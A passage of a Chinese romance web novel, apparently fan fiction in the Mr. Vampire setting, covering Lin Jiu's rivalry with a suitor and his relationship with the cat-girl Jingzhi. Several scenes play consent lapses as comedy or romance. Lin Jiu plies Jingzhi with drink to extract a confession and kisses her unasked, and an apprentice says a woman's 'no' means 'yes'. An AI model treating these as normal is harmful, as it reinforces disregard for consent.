他的说话声渐走渐远,屋里却开始传来了交谈声。 仲尧侧过身子朝上位的林九一拱手,“九叔,早就听说你们回义庄了,医馆这两天刚好忙,我今日刚得空前来拜访。 这两坛桃花酿,是我亲自酿的,顺便带过来给你们尝尝。” 说到酒,他的眼神微微一挪,瞥向他对面坐着的静之,“上次见你在酒楼喝酒,菜都没吃几口,这回可不能这样了。” 静之眼观鼻,鼻观心,微微点头。 “多谢关心,我知道了。”语气带着点客气的疏离。 她想礼貌一笑,余光却瞥见林九微微绷紧的腮帮子,她的嘴角瞬间扯平。 他俩这几天日子已经够难过的了,可不能再让他吃醋了。 仲尧眼神微微一暗,又想起今天来的目的,他打起精神朝她笑得温和,仿若不经意,他瞥一眼林九,然后走到静之跟前掏出一个荷包说: “那天你走得急,估计也是喝太多了,酒钱付了两遍都不晓得,老板托我给你带过来的,喏,你数数。” 仲尧想,他可是有正经理由的,算不上唐突。 …… 好像靠太近了。 静之都能感受他的下摆撩到自己裙角了。 她极速接过他手上那个荷包,然后后仰身子避开他,“不用数了,我相信你。” “叩。” 一只烟杆子被使了点力道放在桌上,发出一声轻响。 她吞了吞口水,“阿九信任你,所以我也相信你!” 林九手指微微摩挲着金属手柄,脸色和缓了一些,静之悄悄松了口气。 仲尧却是当场愣在原地。 屋子里瞬间又陷入了诡异的沉默。 “搞什么?”文才嘀咕一声,将茶放到仲尧位置旁的边几上,“别站着呀,请喝茶,这茶叶还是静之姐特意买给我师父的,可香了!” “文才!” 林九微微提高一点声音唤了一声,“上完茶就出去。” 臭小子,还知道是特意给他买的,他平时都舍不得喝,这小子居然敢拿出来现。 “哦?”仲尧端起茶杯,修长的手指掀起杯盖撇去浮沫,又朝静之笑了下说,“既然是静之姑娘买的,那我可要好好品一品了。” 他吹去热气,轻酌了一口,看似随意的动作间,说不出的温文尔雅,又别有一番潇洒韵味。 秋生忍不住看了看黑脸的林九,再看看仲尧。 完了,师父年龄pk不过人家,现在气质上也快输了,仲尧这个类型的,刚好是小姑娘最喜欢的类型啊,静之不会倒戈吧?! “确实好。”仲尧放下茶盏,看着一直闭口不谈的静之,他咬咬牙,又另找了个话题,“静之姑娘,那日为何一大早就饮酒?” “……想喝就喝喽,哪有那么多为什么。”静之如坐针毡,如鲠在喉,如芒刺背,她动了动屁股,恨不得夺门而出! 然而,人家上门拜访,还带礼物来,她直接走了,是不是有些不礼貌? 但是阿九好像越来越不开心的样子,可她一点越矩的动作都没做呀? …… 就在这时,一阵咕噜咕噜声响起。 静之闻声望去,只见仲尧捂着肚子,有些难为情地看着她和林九笑,“抱歉,没想到义庄那么远,来到这儿,已是午时了。” 林九:我看你就是故意的! 静之转头看向林九,投以询问的眼神,这一眼,微微抚平了他暴躁的情绪,“那就留下吃顿饭再走吧。” 林九朝门外唤了一声,“秋生,去做饭!” 静之立马站了起来,“我去做我去做,反正我闲着也是闲着!” 妈哒,这个屋她是一秒也待不下去了,赶紧走赶紧走!! 出门前,她还顺便拎走一脸八卦的秋生打下手。 客厅内两个男人面面相觑一会儿,空气中硝烟弥漫。 林九眼神落在下首桌面的荷包上,面色又渐渐沉了下来。 “仲尧,你今日来,不会就是为了送两坛酒吧?” 要不是他是他昔日好友的独子,他林九早就连人带酒一起扔出去了。 假借还钱的名义送荷包? 司马昭之心,路人皆知! 仲尧脸上温和的笑容在静之出去后也渐渐收起,他顶着林九锐利的眼神,开门见山直言: “九叔,前两次见,我看出来她喜欢你,她喝酒那天,一见你就跑…我不知道发生了什么事,但她明显被你伤到了。” “你若是不喜欢她,我可以聘请她到我店里当个伙计,总好过待在义庄里。” 既然他都撕开脸说话了,林九也直接了当戳破他的心思:“你喜欢她。” 呵,当个伙计? 他是想让她当老板娘吧。 做梦! 既然大家都摊开了说,仲尧也不扯什么借口了,男未婚女未嫁,大丈夫追求女子就应该坦坦荡荡的。 他站起身子,直面林九,“九叔,我是喜欢她,虽然只见了两面,但她活泼开朗的性格深深吸引了我,我不知道你对她是什么心思。” 见林九脸黑如墨,他心颤了颤,但是人一生能有多少次心动时刻,他不想让自己后悔。 “若是你不喜欢,那就最好。若是你也喜欢她,那我们就公平竞争!” “砰!” 林九桌上的烟杆子甚至因为他猛拍桌子的动作往上跳了跳。 偷看的文才,吓得赶紧把头缩回去。 有多久了? 好久没看到师父脸黑成这样了,他俩不会打起来吧? 不行!得赶紧去找静之姐! …… 此时,客厅内的气氛冷凝如冰。 仲尧的脸色也渐渐变得肃杀,“你拍桌子也没用,我是真心喜欢她,我不会放手的。” 他留过洋,学过医,年纪也比九叔小了不止一轮,长得也不差,现在已接手他爹的生意了,他相信,他努努力,静之会喜欢上他的! 而且,她好像也会医术的样子,这年头,会医的女子甚是少见,仲尧觉得,她简直就是老天爷给他送来的灵魂伴侣。 于是,他的语气越发强硬了。 ………… …… 就在两人不知道说了啥,快要动手的时候,心急火燎的静之终于忙完了。 她端着几碗面条快步走到门口。 “吃饭了。” 她伸头一看,两人的拳头都捏得死紧。 得,她还是端到亭子里吧,亭子里的桌子重,阿九要掀桌的话,她还能有时间阻止。 见她走了,林九皮笑肉不笑的说: “请吧。” 吃完饭从哪来的,给我滚回哪儿去! 在他的地盘抢他的爱人,他没给他腿打折,都算他仁慈了。 …… 战场一下就转移到了凉亭里。 秋生和文才压根不敢上桌,他俩坐在正厅门槛上,端着碗,吸溜着面,把不远处的三人默剧当做下饭菜。 “师兄啊,你说谁会赢?” 秋生啧啧啧几声,又趁文才看得入神,偷偷夹走他碗里的瘦肉一口吃掉,这才满足的说: “哎呀,那肯定是(嚼嚼嚼)静之的心在谁身上(嚼嚼嚼),谁就赢啊!” 文才嘴角渐渐勾起,“师兄,你刚刚吃的那块,是我从地上捡起来的。” 秋生一阵发懵,过了好一会儿,才端着碗追击边吃边一路小跑的文才,“好啊你,你居然学坏了!别跑!” 他俩的嘻哈打闹声,完全没有缓解亭子里不断蔓延开来的凉意。 静之吃面都不敢发出一点声音,可憋死她了。 “静之姑娘,你的厨艺也很好呢,谁娶了你,可真是三生有幸。” 越是有人争抢,他好像就越爱。 仲尧看静之的眼神越发灼热,仿佛要将她的脸给烧穿了。 她忍不住朝林九的方向挪了挪,哪知长凳子单坐一头是会翘起来的。 她身子一歪,赶紧放下碗,又顺势扶住林九的胳膊。 “嘿,抱歉,我帮你擦一擦。” 静之扯过桌上的抹布,擦一擦他面前溢出的面汤。 林九伸手过去,轻轻拍了拍她的手,嗔怪着轻声说: “小心些,总是这么毛躁,有没有烫到?” 静之吐了吐舌头,“没事,你快吃,你今天怎么吃这么慢,我做的不合你胃口?” 林九看了脸色渐渐黑下来的仲尧一眼,这才朝静之微微一笑,“没有,这就吃。” 仲尧莫名觉得局势有些不妙,他俩怎么这么……像是老夫老妻了? 之前那样儿,不是吵架了吗? 就在这时,林九看着碗里的面条,突然灵光一现。 他的筷头轻轻挑开面上的面条。 果然,他的碗底总是卧着一颗太阳蛋。 他斜了一眼仲尧快吃完的碗。 呵,他没有呢。 于是,他慢悠悠地挑起那颗蛋轻轻咬了一口,咀嚼吞下后,才对静之说: “以后不用特意“只”给我加蛋,秋生和文才会不高兴的。” 仲尧脸色瞬间黯淡到谷底。 他的筷子划拉着剩下的几根面条,筷尖直接触到碗底的釉面,发出轻微的咯吱声响。 他这碗,没有蛋。 所以,她这是尊重老人,还是还喜欢着他? 静之听到他划拉碗底的声音了,她有些尬住了,于是轻轻拍了一下林九的胳膊,小小声说:“你别这样嘛,这多尴尬呀。” 林九放下筷子握住她搁在他手臂上的手,眯眼与仲尧进行无声的较量。 最终,仲尧败下阵来。 “时候不早了,多谢你的面,我该走了。” “好。” “你不送送我?”他心存期待。 静之忙着收拾碗筷,她回头一脸无辜说:“什么?” 她又朝打闹的两人喊,“秋生!送一送仲尧先生。” 仲尧挺直的脊梁都微微弓了一点,他扯了扯嘴角,露出一枚苦笑,“不用了。” 不过,追女孩子哪有那么容易,挖不倒墙角的话,一定是他锄头挥得不够勤! 她今天都能给他做饭吃了,以后,他肯定也会有属于他自己的“蛋”的! 于是,仲尧又挺直了腰杆,像是一株直立的青竹,朝林九客套一笑: “九叔,下次我请客,你…你们到时候可要一起来!” 不等林九做出回应,他朝静之露出一个暖如晨曦的笑容,就一撩下摆,快步走出了院子。 林九:“他笑得好看吗?” 静之:“没你笑得好看!” 林九顿了一下,“那就是说,你看了?” 静之:“他就坐我对面……” 林九冷哼一声,把独属于他的蛋一口塞进嘴里。 “别生气嘛。”她从他的碗底又扒拉出一颗鸡蛋到面上,“我今天给你卧了两个,他一个都没有。” 林九看着面上的那颗形状漂亮的鸡蛋,突然轻轻笑了一声,然后抬起头,直视静之的眼睛,说了他一直难以启齿,极少说出的请求: “我可以吻你吗?” 静之头脑有些发懵,“可是你在吃饭诶。” “你这算答应了?” “额……你先吃完再说。” “好。” …… 饭后,林九看着坐在书房卧榻上,充当雕塑的小猫咪,一阵无语。 他快步走了过去,到她面前站定。 “你答应我了的。” 他都吃完漱过口了,她搁这儿白天就变身了? 猫猫悠悠抬起脑袋,一双猫眼睁得大大的,她一歪头,“我叫你先吃完再说,我可没答应。” 林九又气,又拿她没有办法。 他有胆将她从人变成猫,却没胆将她从猫变成人。 因为变成人的瞬间,她肯定是光着的。 他一时僵在原地,气得直磨后槽牙。 静之后爪挠了挠耳朵,整个身子又朝后挪了挪,他现在好像有些危险的样子,还是离远一些好。 挪没两下,她就被林九抱了起来,被林九狠狠的往她嘴筒子上贴。 它不断挣扎,两只毛绒绒的后爪在空中不断划拉着,“扁了扁了,小猫脸被你亲扁了,快放开我!” 指甲依旧没有弹出来,就怕不小心伤到他了。 林九捏着她柔软的梅花肉垫子,心也跟着变得柔软起来,他低头轻声说: “你变回来,我给你拿衣服。” “不要!”他现在眼神好像能一口把她吞进肚子里似的,变回来肯定有甜头吃,但她的自制力都快耗尽了,吻到深情处,她不确定能不能把持得住自己。 所以为了他的修为,她还是忍忍的好。 此时的静之万万没想到,古板的林九居然还会使这一招! …… 第141章 林九的局 “这什么?” 林九看着秋生手里提的东西,右眼皮直跳。 一阵食物的香味随风飘散,秋生的口水都快流出来了。 他提高手中梅花黑漆食盒动了动鼻翼,“哇,我一闻就知道,一品轩的芋儿烧鸡、盐焗虾和粉蒸肉。”他又嗅了嗅,用力点头,一脸确定的说: “还有云漪点心铺的云片糕跟枣泥糕!” 嘴角泛出一点晶莹。 天呐!这枣泥糕肯定是今天刚做的,红枣和红糖交融在一起的甜香味也太霸道了,真是要把他的鼻子香掉了。 好想吃~( ′?`) 林九额头青筋一跳,他望着敞开的院门外,那渐渐远去的小伙子,心里有种不祥的预感。 “谁送的?” 秋生小心翼翼地抱着食盒,悄悄后退了好几步,远离林九,“我说了,你可不能生气哦。” 林九睨他一眼,什么都没说,但是不耐之意,已经通过他渐渐眯下来的眼睛,百分百传达给了秋生。 秋生头皮一紧,赶紧自己身子往门柱后头躲,快速说道: “仲尧叫他家伙计送来的!” 院子里一片死寂。 秋生咽了口唾沫,伸出半只眼睛偷瞄一眼林九,“师父,他还叫他店里的伙计带了句话……” “什么话?” 语气毫无波澜,仿佛平常跟他聊天一般,让秋生不由松了口气。 他就说嘛,一点吃食而已,他师父是见过大场面的人,不至于那么小气啦。 而且这些肉菜,上回静之请客去酒楼,可是直接被他师父一票否决的,他想吃很久了。 还说天上不会掉馅饼,馅饼这不就来了吗~~ 他嘿嘿一笑,转身从柱子后头走了出来,却依旧把食盒护得死死的,“他说义庄离镇上远,(静之)平时肯定吃不上这些菜色,所以特意叫伙计买了送来!” 以防他师父被气死,秋生省了一点细节。 他有些开心的又凑近两步,“师父,今晚就省得我再烧火做饭了,我去叫静之和文才来吃!中午那两坛酒……能不能,开一坛啊?” 林九:“……你觉得呢?” 好了,这回秋生听出他师父话里冻死人的冷意了。 林九背在身后的手捏得嘎嘣一声响,他冷冷笑了一下,把秋生吓得一哆嗦,他咧嘴谄媚一笑,“嘿嘿,那就不喝了呗。” 看着秋生脸上那一分心虚之色,再结合他刚刚说的话,林九用膝盖想也知道,这些饭菜肯定是那小子特意为静之准备的。 战斗已经打响第一枪,他林九可不会输,也不能输! “哼,这么远提过来,菜都凉了,油味十足,怎么吃得下嘴!”他转头朝秋生交代,“杀只鸡,再杀条鱼,先别做,杀完了叫我。” 了不得了不得! 仲尧那家伙都把他师父逼出战意了。 刚刚看林九阴沉的脸,他还以为他师父要掀桌了,没想到还有这种好事? 嘿嘿,他可不管这两个人怎么斗,反正今晚不用动手就有大餐吃喽! …… 林九抬脚快速走到书房里,一把扯掉小猫爪子下的清心咒,然后逮住一脸懵逼想要逃跑的小猫,搂紧怀里就是一顿撸毛。 他还坏心眼的逆着毛rua,给静之rua得整只猫跟被屁崩过了一样。 “阿,阿九?” 被他撸得浑身不舒服,静之抖了抖身子,那些柔顺的猫毛在抖动过程中又渐渐回归原位,只有头顶的几撮毛发依旧乱糟糟的。 不过她暂时没空管,小猫下巴抬到快跟地面呈90度,才看清他铁青着的一张脸。 不是。 她哄半天刚哄好的人,怎么又气上了? 静之前爪搭了搭他放在膝盖上的拳头,“怎么了?谁惹你生气了,我挠他!” 她挥了挥爪子,“是不是秋生?” 那小子经常给林九气个半死,她今天就要公报私……啊不对,清理门户!! “没事。”林九深吸一口气,压下满腔怒火,手指捏住她微微张开的小猫爪子揉了揉,他放低声音说: “晚上我做鱼汤给你喝?” 瞬间,那对担忧的猫瞳亮得像灯泡。 小猫脑袋点出残影。 她又把毛绒绒的脑瓜子不住的往林九手心蹭,“好好好,要喝!阿九,你对我真好!” 她还以为经过中午仲尧那顿闹,林九再没心情给她开小灶了呢。 林九被她这一顿蹭和软软糯糯的撒娇浇熄了几分怒火,忍不住拿食指轻轻点了点她微微湿润的小鼻头, “你要一直这样吗?什么时候变回来?” “……等会吃饭的时候就变。” “哦。” 这个哦,一点威胁都没有。 不开心,也不生气,仿佛在说今天天气真好,正常到有点反常。 静之悄悄打量了一下他的脸色。 还行,眼神很克制。 都没往她身上多瞥一眼,就是有些心不在焉的样子。 他应该只是单纯的问问吧,她想。 小猫心眼子不多,低头的一瞬间,没看到林九那突然变幻,都快溢出眼角的势在必得。 她只是觉得秋天真的来了,从窗户吹进来的风,拂得她身上凉凉的。 她忍不住把自己团巴团巴,往林九怀里蹭去。 林九轻轻梳着她后脑的毛发,因为她不自觉的贴近,眼神渐渐变得柔和,那点子势在必得被他深深压进了眼底…… …… 静之以为,林九只给她做了鱼汤,结果他给她呈上了三菜一汤。 呈金黄色,有些微焦,一看皮就很酥脆的蜜汁烤鸡! 呈酱红色,每一块都跟尺子量过似的大小,一看就很下饭的红烧肉。 另外一碟,哦,是个菜。 静之就分给它一个眼神,立刻略过,侧头看向隔壁那大海碗炖得奶白奶白的,面儿上还细心洒着几颗圆形葱花的鱼汤。 “阿九?今天我生日啊?还是谁生日?这么丰盛?” 林九拿碗给她盛汤,语气十分柔和,“家常便饭罢了,你爱吃的话,我天天给你做。” 他看了看已经悬挂在天空的一轮明月,略带抱歉地说:“这鸡费了些功夫,让你等许久了,喝碗汤暖暖胃先。” 边说着,他把碗往她的方向推了推,筷子,汤匙,放的地方,也都是她顺手的位置。 静之咂舌。 她抬头看了眼刚洗了个澡,还认真把头发梳得整整齐齐,仿如孔雀开屏一般的林九,突然陷入沉思。 眼角却突然瞥到桌子右边被摆的远远的几个菜,“那是?” 林九把她的头转回来,还没说话,正剥虾的秋生,吮两下手指头上的虾油说: “仲尧送来的,你…” 话还没说完,他就看见林九用眼神在骂人。 于是闭嘴低头,和吃得抬不起头的文才,吭哧吭哧一顿猛造。 “你也想吃?”他一生气,语气就越发平淡。 “没有!”静之渐渐明白这点,她立马端起桌上的碗,猛喝一大口鱼汤以示忠心,和对他手艺的极度赞同。 然而,那汤,刚从炉火上端下来,这一口下去,差点把她心肝脾肺一起烫熟了。 静之又不敢吐出来,硬生生咽下去,然后吐出烫红的舌头一顿猛扇。 “你啊……” 他拿了一旁的杯子,从桌子底下掏出一坛酒倒了一杯给她,“凉的,含在嘴里一会儿再咽下去。” 一直拿眼角瞥向这边的秋生愣住了,“师父,你不是说不给喝?” “只限一坛,你们不许喝多。” 边说着,他又从脚底下拿了一坛子酒递过去。 秋生乐得眉梢高高扬起,把手往桌上抹布擦了擦,这才接过那坛子酒打开闻了闻,“哇,仲尧可真牛逼,这都会做!” “不过师父,这颜色怎么跟你给她倒的不一样啊?” 林九把筷子上的红烧肉夹到静之的饭碗里,这才抬起头悠悠说道: “她喝果酒就行了。” 果酒跟一般酒不同,度数浅一些,不易醉人,口感还更顺滑,甜甜的,她应当会喜欢的吧? 说话间,静之把那果酒当做饮料,已经不知偷喝了几杯。 林九摇了摇去了三分之一的酒坛子,赶紧压住坛口对她说: “喝完这碗汤,再用点饭菜,才能接着喝。” “知道啦~”静之耸耸肩,口中烫意消退,她朝林九笑了笑,眼神一直往鸡和肉上瞟,典型的吃着碗里的,看着锅里的。 林妈妈小时候给她教得很好,吃饭不吧唧嘴,每一口都吃得认真,嘴巴小小的,偏偏吃的速度还挺快。 原本堆得满满的肉菜渐渐消下去一半,倒是那碟清炒苦瓜没怎么被动过。 就在这时,一大筷子苦瓜降落到她碗中,“不许挑食,菜也要吃一点。” 静之抬眼,又偷偷往嘴里塞了一块红烧肉快速咀嚼,吞下后才讨价还价说,“吃完这一筷子,就不许再给我夹了哦。” 她的目光滑向他左手边的酒坛子,她一本正经说:“光吃肉有点腻,给我喝点呗?” “腻就吃菜。” “嘁,吃就吃!” 一片苦瓜给她吃得龇牙咧嘴,跟服毒似的。 苦瓜这玩意儿,到底是谁先尝鲜的,长得麻麻赖赖,一颗一颗的,外表丑就算了,味道也就这么算了,她反正喜欢不起来。 静之发誓,总有一天,她要把林九的苦瓜藤撅光!都撅光,一根不剩! 见她虽一脸仇大苦深,却依旧把他夹的菜吃光光,林九笑了。 他这才放她一马,给她倒了杯酒拯救一下她的味蕾。 …… 渐渐的,她的脸上泛起了红晕,林九却没有停下倒酒的动作,直到她眼神迷离,开始咯咯傻笑,却越坐越端正的时候,林九才把剩了小半坛子的酒收好。 “你俩吃完了把这里收一收,我带她去洗漱。” 说罢,林九把两手交叠放桌上,姿势标准得仿佛小学生般的静之打横抱起,快步走进他房间。 饭桌上,喝了个半醉的秋生和文才面面相觑。 半晌,文才才把眼神从林九的背影上收回来,大着舌头说:“师,师兄,师父应该不是这种人吧?!” 秋生酒量能好些,他摩挲着下巴,嘴角却渐渐泛起止也止不住的揶揄笑容: “男人嘛,遇到喜欢的人,当然是,嘿嘿嘿……” …… 林九可没他想得那么猥琐。 给静之洗漱完毕,他坐在床上,直视穿着白色中衣,盘着腿,捻着兰花指,仿佛要当场入定的静之,想了许久,才试探性问出第一句: “静之,你喜欢仲尧吗?” 静之速度慢得像闪电,抬起了有些沉重的眼皮,一脸疑惑的看向林九,嘴巴却下意识乖乖回答: “阿九?你怎么变成两个了。” 答非所问,林九啧了一声。 他俯身凑近了一点,把着她的脸,固执的又问了一遍,心却提到了嗓子眼。 “你喜欢仲尧吗?” “一般吧。” 这个回答,林九不是很满意。 “一般是什么意思?” 这个问题还真给脑子里进酒的静之难住了。 她皱着眉思考了许久,久到林九手都捏出汗了,她才眨眨眼说: “比普通朋友还差一点吧。” 听到她的回答,林九猛的松了一大口气,提着的心才渐渐落回肚子里。 他想了想,想到耳尖甚至都微微犯红意了,才低声问: “那,你……喜欢林九吗?” 问话间,他紧紧盯着她的眼睛,就怕错过一丁点儿她的反应。 就在这时,一直乖乖坐着的静之,开始不乖了,她一个大头朝下栽进了被子里,蹭了蹭,眼瞅着都要睡着了。 “静之?”他有些心急,又将她从被子里挖了出来,扶着她的肩膀轻轻摇了摇,“还没回答我,不准睡!” 静之蹙眉,“你可真烦人。” 林九一口银牙都要咬碎了。 他不甘心。 好不容易才令她放下心防,他可不能错过这个好机会。 “再不说的话,我可要亲你了。” 仿佛听到什么可怕的语言,静之快黏到一起的眼皮瞬间睁得大大的,眼里满是林九看不懂的惊恐,“不可以,不可以亲!我说,我说就是了!” 为什么不可以? 以前她明明不是这样的? 林九心里充满了疑问,但见静之仿佛就剩下1%电量,随时都能睡过去的样子,他还是选择问最想知道的问题。 “那你说,你……喜不喜欢阿九?” 静之坚决摇头,那坚定的样子让林九仿佛置身冰窟中,遍体生寒。 都说酒后吐真言,她是真的,不喜欢他吗? 可是他已经,收不回心了…… 就在这时,她的一句话,直接把他从无边地狱扯到了天上。 她说:“……说喜欢太浅了,我爱阿九……爱了好久好久了。” 她转头看着窗外的明月,神情有些落寞,“我想他了……” 她的腰际突然缠上两只有力的胳膊,林九把下巴放到她颈窝处,轻轻摩挲着她的脸颊,她的第一次说爱,给林九冷冻的血液又瞬间点燃了,“不用想,阿九就在这里。” 情绪的剧烈变化,让他的双手都有些颤抖,他轻轻掰过来静之的肩膀,温柔的抚着她的眉眼,眼里喜悦的光都快流出眸外。 “静之,不是喜欢你……” 他凑近她的耳朵上,略含羞意,又无比坚定的,小声喃喃:“我也爱你。” 静之对这三个字简直是深入骨髓的ptsd,她瞪大了眼睛,赶紧死死捂住林九的嘴,然后又昂头四处乱看,像是怕被谁听到似的。 “不许再说了,这辈子不许再说这三个字!” 要完,突然就剩两次机会了,她可不想再体验一把被吸灵力的经历了。 林九以为她害羞,微微点头,露在外面的眉眼柔和得不像话。 突然,她的掌心感觉到一阵湿濡和柔软,她触电般的,赶紧收回手。 “不可以亲,会出事的。” 刚刚互相诉说了爱意,林九心情有些激荡,他的手轻轻往上托住她的后脖颈,压了压嗓子,带着点生涩的诱惑说: “就亲一次,我知道分寸的。” 知道她现在是个小醉鬼,林九的胆子也大了些。 不等她同意,他主动侧过脸,径直朝着她饱满欲滴的樱唇贴了上去。 还未等撬开她的贝齿,唇齿间便先尝到了几滴苦涩的泪水。 为什么哭?她不同意吗? 林九心跳漏了一拍,他赶紧退开一点距离。 此时静之泪如雨下,哭得鼻头都红了,她边抽噎着,嘴上还一直喃喃道: “不可以,我不可以害了你,你会死的,我会害死你的。” 林九脑子里的疑惑瞬间达到了顶点,“不会,我没那么脆弱。” 他轻轻拭去她的泪水,心疼地说: “我不逼你了,今晚不亲了,你别哭。” 静之只是摇着头,边小声啜泣,边低声喃喃: “想亲的,可是,可是秋生说,你的功法必须保持童子身,否则会有大问题的,呜呜,我害怕,我害怕你哪一天被僵尸,被僵尸吃掉了,那我怎么办……呜呜……” 直到现在,林九才明白她这几天反常的真相,他把静之揽进怀里,轻拍她的肩膀安抚着,又偷偷在她耳边解释: “秋生心性不定,不这么说的话,我怕他学坏了……” 静之泪眼朦胧,“那,那你……” 他低头亲了一下她光洁的额头,又抵了上去,“没有影响的,只是成亲前我不想对你——唔!” 憋了许久的她,一听到“没有影响”四个字,便贴了上去。 爱人就在眼前,越是忍耐,就会反弹得更厉害。 她又是气秋生,心里又莫名的委屈,眼泪竟是又从眼角滑落。 看着边亲边哭得跟个孩子似的静之,林九有些无奈。 “别哭,是我不好,没早点问清楚。” 她啃一口他被她吮得快出血的唇瓣,愤愤嗔道:“就怪你!!” “那我……” “阿九,你要补偿我!”她打断他的话,将他扑倒在床上。 仿佛喝了假酒,静之力大如牛,寂静的室内,几声裂帛声突兀的响起。 低头一看,他的白色中衣变成了破布条。 带着几分酒香的呼吸喷洒在他的额头,高挺的鼻梁,绕开他的唇,轻轻拂过他的脸颊,最终抵达他红到快要滴血的耳垂上。 调皮轻啃,却又带着不舍般的轻柔动作。 林九只觉得心口胀得都快炸裂,他的右手握住她有些滚烫的脖颈,一时之间,竟不知道要不要把她推开。 还没犹豫几秒,尖锐的轻微刺痛就出现在他锁骨处,一股磨人的痒意又突然出现在他腰间。 林九垂眸一看,原来她不知道什么时候,又把尾巴放出来了。 没了破布条的阻挡,毛绒绒的猫咪尾巴直接卷到他的肋骨处,柔软的绒毛轻轻撩动,引起他一阵又一阵的颤栗。 “静之,别……” “阿九,我明白你的顾忌,我也有分寸的,你相信我!” “……~~,你有个屁分寸!!!” …… 一声闷哼过后,他终究是没忍住,低低呢喃了一句脏话。 ……(略)…… 这会儿,林九也是酒意上头,一时被爱和酒精冲昏了头脑,得亏强烈的刺激误打误撞把他的理智拉扯回来。 一个手刀。 静之大头朝下,又栽进被子里。 这回彻底老实了。 林九面红耳赤翻身下床,翻找了干净衣“裤”穿上,换了被单,又帮她洗了把脸,这才把她从头到脚紧紧卷进被子里。 开了窗,散散味道,冰凉的风吹到林九脸上,依旧无法抚平他心里的那股躁意。 回头看着晕死过去,还正皱眉嘟嘴的她,他的脸上浮出几分羞赧。 她可真是,非一般的大胆。 第142章 “亲~娘~嘞~” “亲~娘~嘞~” “我的头~我的脖子~阿九~” 静之一手捂着揪痛的脑门,一手捂着钝痛的后脖颈,在凌乱的床褥上咕蛹着身子,两条细眉难受得都快拧到一块儿去了。 每次喝酒都会这么难受的吗? 那她下次就不喝了吧。 突然,窗帘被拉开。 明亮的光线透过白色的窗户纸洒进室内,静之酸痛的眼睛越发睁不开了。 她把脸深深埋进被子里,难受得恨不得把头剁下来,“阿九……我要死了……” 林九看她难受成这样,心里的自责一股接一股的涌了上来。 不过他不后悔。 明白了她远离他的原因,更看清了她的心,那一顿酒很值。 “师父!静之姐还没起呢?都要吃午饭喽!” 秋生边说着,一手推开门,一手稳稳拿着托盘抬脚就要往里走。 林九回头看一眼她衣衫不整的样子,左脚往左跨一步抵住半开的门扇,“先别进来。” 边说着,他收回脚,走过去挡在门缝前,接过托盘,朝秋生挥挥手,“做点小米粥去。” 刚转过身,似乎想到什么,他脚步一顿,又回头朝秋生交代,“小雨关一天了,把他放出来。” 秋生哦了一声,脚却跟扎了根似的,立在门边。 他的眼神直直地往林九未扣紧纽扣的脖间瞧。 牙印捏~ 师父这就拿下了?不对,是被拿下了! 林九顺着他的视线低头一瞧,敞开的衣领间,锁骨上露出了半个小小的牙印,往下一点还有个暗红色的草莓印子。 林九老脸一红,抬手捏住领口,“还不快去!” 秋生欲言又止,“师父,你没事吧,你的修为……倒退了吗?” 林九眉心一跳。 这小子还敢提这个?!他都想给他一脚! “唔……阿九……我有点想吐……”静之有些含糊的声音突然从室内传来。 秋生(」???)?:……这么快就怀上了?! 师父牛逼! 林九给了他一脚后,匆匆把门用脚勾上。 放下醒酒汤后,他快步走到床前坐下,然后把她的脑袋扶到自己腿上,两手轻轻柔柔的揉着她的太阳穴。 “还很难受吗?喝了醒酒汤再睡?” 静之紧闭双眼皱眉道,“有用吗?有用的话给我来一碗。” 林九自信一笑,“放心,秋生和文才喝了以后,很快就好了。” 静之扯着他的衣服下摆爬坐起身,伸出绵软的手就去够桌边的那碗汤水。 “行了,你别动,我喂你喝。” 静之还有迷糊,她咧着嘴轻轻笑了笑,又蹭蹭他温热的侧颈,“阿九喂我。” 醒酒汤正温热,一勺一勺给她喂下肚后,静之胃中泛起的恶心感压下了不少,喂了大半碗,林九才停手。 看着她沾上水分,变得愈加饱满丰润的唇瓣,林九颜色渐渐变深。 昨晚,他可是还没一探究竟呢。 饮入最后一口醒酒汤,林九贴了上去,一点一点渡给她,然后趁机滑了进去…… 静之本就绵软的胳膊腿,过了一会儿更是瘫软如泥,整个身子因他温柔还带着点强势的举动酥了半边,就连呼吸也开始渐渐变得凌乱起来。 她轻捶了两把他的胸口,将他推开一点,“呼……阿九,别,你会死翘翘的。” 林九抿了抿同样湿润的唇瓣,有些意犹未尽,眉头却突然拧起,“你不记得了?” “记得什么?” “……那你还记得什么?”林九轻轻慢慢抚着她的后脖颈,眼神愈发危险。 静之有些迷茫,瞧他一眼后,动物般的直觉令她立马捂住嘴,“我该记得什么?” 他眉梢微挑,“你说过什么,你都忘了?” 静之眼球开始晃动。 她说了什么不该说的了吗? 难道她叫阿风或者二娣了? 可他看起来不是吃醋的样子啊,反倒是有些欢喜和害羞,难道……他俩昨晚酒后那个了? 静之一掀被子。 还好,衣服还在。 身体无异样,应该不是,那他那么开心干啥子哦? “我只记得你给我做了好吃的饭,喝了好喝的酒,喝着喝着,我就……” 就了半天,静之挠着脑袋硬是没说出个所以然来。 林九:算了,他明白她的心意就行。 …… 这两天的林九非常奇怪。 整个人的气场异常温和,唇边还经常噙着一抹笑容,看静之的眼波柔得仿佛能滴出水来。 跟前几天那黑脸的样子大相径庭,静之疑惑且避如蛇蝎,另外两个徒弟则是看着一脸懵逼的她欲言又止。 不是都那样了吗? 她怎么还是这个态度? 还有,他俩怎么反过来了,现在轮到他们师父追着人家姑娘跑了。 瞧瞧,瞧瞧,又给人家吓得爬到房梁上边去了。 “下来!” “我不!”静之晃荡着脚丫子,抿着有些吃痛的嘴,神情愤恨。 他这两天到底怎么了,整个跟麦芽糖成精了似的,没事就缠着她。 “明天就要去镇上了,你,你好歹做点准备!” 林九朝上头伸出手,“好,去书房。” “你自己去!”她绕到房梁另外一边,抱着粗若腰身的房梁木,一脸警惕的看着他。 “你不下来我上去了。” 林九挽了挽袖子,作势就要往上跳。 “唉,阿九,你不懂,我是为你好。” 林九绷了两天终于绷不住了。 他一脚蹬上旁边的柱子,身轻如燕,一下便跃到了房梁上。 然后在静之和秋生文才震惊的眼神中,端着她跳了下来,就往书房里走。 她疯狂蹬腿,并向后朝秋生文才疯狂眨眼,“我不要去,你放开我!臭阿九!” 秋生直着脖子避开她的眼神,然后扯着还想上去帮忙的文才一溜烟跑进停尸房。 “搞笑,你现在去,就不怕师父打断你的腿?” 文才挠头,“可是静之姐好像很不情愿的样子。” 秋生朝他翻了白眼,“你懂个屁,女人说不要的时候,就是要喽!难怪你还是童子鸡!” 文才顶嘴道:“你现在不也是没人要。” “咔咔咔咔!” 小僵尸蹲在墙角,笑得四颗小小的犬牙都在打架。 …… 静之鞋子都甩脱了一只,林九还是没把她放下来。 “阿九,我自制力很弱的,你不要一直考验我。” 